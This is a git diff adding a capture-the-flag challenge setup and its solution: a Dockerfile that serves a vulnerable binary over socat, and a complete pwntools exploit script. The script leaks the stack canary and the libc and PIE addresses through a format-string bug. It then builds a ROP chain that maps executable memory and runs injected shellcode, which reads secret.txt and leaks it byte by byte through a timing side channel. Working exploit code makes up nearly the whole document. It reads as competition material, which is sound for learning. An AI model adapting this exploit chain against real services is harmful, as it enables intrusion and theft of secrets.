diff --git a/Day 22/Dockerfile b/Day 22/Dockerfile new file mode 100644 index 0000000..985a2b5 --- /dev/null +++ b/Day 22/Dockerfile @@ -0,0 +1,14 @@ +FROM ubuntu:22.04 + +RUN apt-get update -y && apt-get install -y socat gdb strace + +RUN useradd -d /home/santa/ -m -p santa -s /bin/bash santa +RUN echo "santa:santa" | chpasswd + +WORKDIR /home/santa +COPY ./pwn . +COPY ./secret.txt . + +USER santa + +CMD socat TCP-LISTEN:1337,fork,reuseaddr EXEC:'./pwn',raw,pty,echo=0,stderr \ No newline at end of file diff --git a/Day 22/exploit.py b/Day 22/exploit.py new file mode 100755 index 0000000..e9c569f --- /dev/null +++ b/Day 22/exploit.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template ./pwn '--host=93feafcd-9de7-4c80-914c-1110f8a36326.rdocker.vuln.land' '--port=1337' +from pwn import * +import string + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or './pwn') +# libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc.so.6", checksec=False) +libc = ELF("/usr/lib/libc.so.6" if args.LOCAL else "./libc_docker.so.6", checksec=False) + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR +# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable +host = args.HOST or 'e529ac3d-26ff-4563-93ef-309578487141.rdocker.vuln.land' +port = int(args.PORT or 1337) + +def start_local(argv=[], *a, **kw): + '''Execute the target binary locally''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +def start_remote(argv=[], *a, **kw): + '''Connect to the process on the remote host''' + io = connect(host, port) + if args.GDB: + gdb.attach(io, gdbscript=gdbscript) + return io + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.LOCAL: + return start_local(argv, *a, **kw) + else: + return start_remote(argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Full RELRO +# Stack: Canary found +# NX: NX enabled +# PIE: PIE enabled + +orig_libc_start_main = libc.symbols["__libc_start_main"] +orig_main = exe.symbols["main"] + +def try_char(offset, char): + try: + io = start() + io.recvuntil(b"Who should the gifts be for? ") + io.sendline(b"%43$p|%45$p|%47$p") + leak = io.recvline().decode() + match = re.match(r"Processing the wishes of (.*)\|(.*)\|(.*)\n", leak) + stack_canary = int(match[1], 16) + libc_leak = int(match[2], 16) + libc.address = libc_leak - orig_libc_start_main + 48 + pie_leak = int(match[3], 16) + exe.address = pie_leak - orig_main + # print("[+] Got stack canary:", hex(stack_canary)) + # print("[+] LIBC base:", hex(libc.address)) + # print("[+] PIE base:", hex(exe.address)) + rop = ROP([libc, exe]) + payload = b"" + payload += 264 * b"A" + payload += p64(stack_canary) + + assert len(payload) <= 0x200 + assert b"\n" not in payload + + file_name = next(exe.search(b"secret.txt")) + data_segment = exe.address + 0x4000 + new_segment = exe.address + 0x6000 + + pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]) + pop_rcx_ret = rop.find_gadget(["pop rcx", "ret"]) + + rop.raw(rop.find_gadget(['ret'])) + rop.raw(pop_rcx_ret) + rop.raw(32) + rop.raw(pop_rdi_ret) + rop.raw(exe.symbols["gifts"]) + + # (0xffffffffffffffff << 32) & 0xfff == 0 + if args.LOCAL: + rop.raw(libc.address + 0x501f9) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret + else: + rop.raw(libc.address + 0x54d69) # shl r9, cl ; mov qword ptr [rdi], r9 ; ret + + rop.raw(rop.find_gadget(['ret'])) + rop.mmap(new_segment, 0x1000, 7, 0x2|0x20) # MAP_ANONYMOUS|MAP_PRIVATE + + rop.read(0, new_segment, 100) + rop.call(new_segment) + + payload += rop.chain() + + gifts = [payload, b"a", b"b", b"c", b"d"] + for g in gifts: + io.recvuntil(b"Name a wish: ") + io.sendline(g) + + io.sendline(asm(f""" + mov rdi, {hex(file_name)} + xor rsi, rsi + xor rdx, rdx + mov rax, 2 + syscall + + mov rdi, rax + mov rsi, {hex(data_segment)} + mov rdx, 0x30 + xor rax, rax + syscall + + mov rsi, {hex(data_segment)} + add rsi, {offset} + xor rax, rax + mov al, {hex(ord(char))} + mov bl, [rsi] + cmp al, bl + + je L2 + jmp done + L2: + nop + jmp L2 + done: + nop + """)) + except Exception as e: + if isinstance(e, KeyboardInterrupt): + exit(0) + io.close() + return try_char(offset, char) + + t1 = time.time() + io.recvall(timeout=1.5) + t2 = time.time() + found = t2 - t1 >= 1.5 + io.close() + return found + +# flag = "HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}" +flag = "" +OFFSET = len(flag) +while True: + found = False + for CHAR in string.printable: + if try_char(OFFSET, CHAR): + flag += CHAR + print("FOUND:", flag) + found = True + break + + if found: + OFFSET += 1 + continue + else: + print("END") + break diff --git a/Day 22/libc.so.6 b/Day 22/libc.so.6 new file mode 100755 index 0000000..8538e7a Binary files /dev/null and b/Day 22/libc.so.6 differ diff --git a/Day 22/libc_docker.so.6 b/Day 22/libc_docker.so.6 new file mode 100755 index 0000000..47aaade Binary files /dev/null and b/Day 22/libc_docker.so.6 differ diff --git a/Day 22/public.tar.xz b/Day 22/public.tar.xz new file mode 100644 index 0000000..351b504 Binary files /dev/null and b/Day 22/public.tar.xz differ diff --git a/Day 22/pwn b/Day 22/pwn new file mode 100755 index 0000000..68e7041 Binary files /dev/null and b/Day 22/pwn differ diff --git a/Day 22/secret.txt b/Day 22/secret.txt new file mode 100644 index 0000000..91ef26c --- /dev/null +++ b/Day 22/secret.txt @@ -0,0 +1 @@ +HV23{FAKE} \ No newline at end of file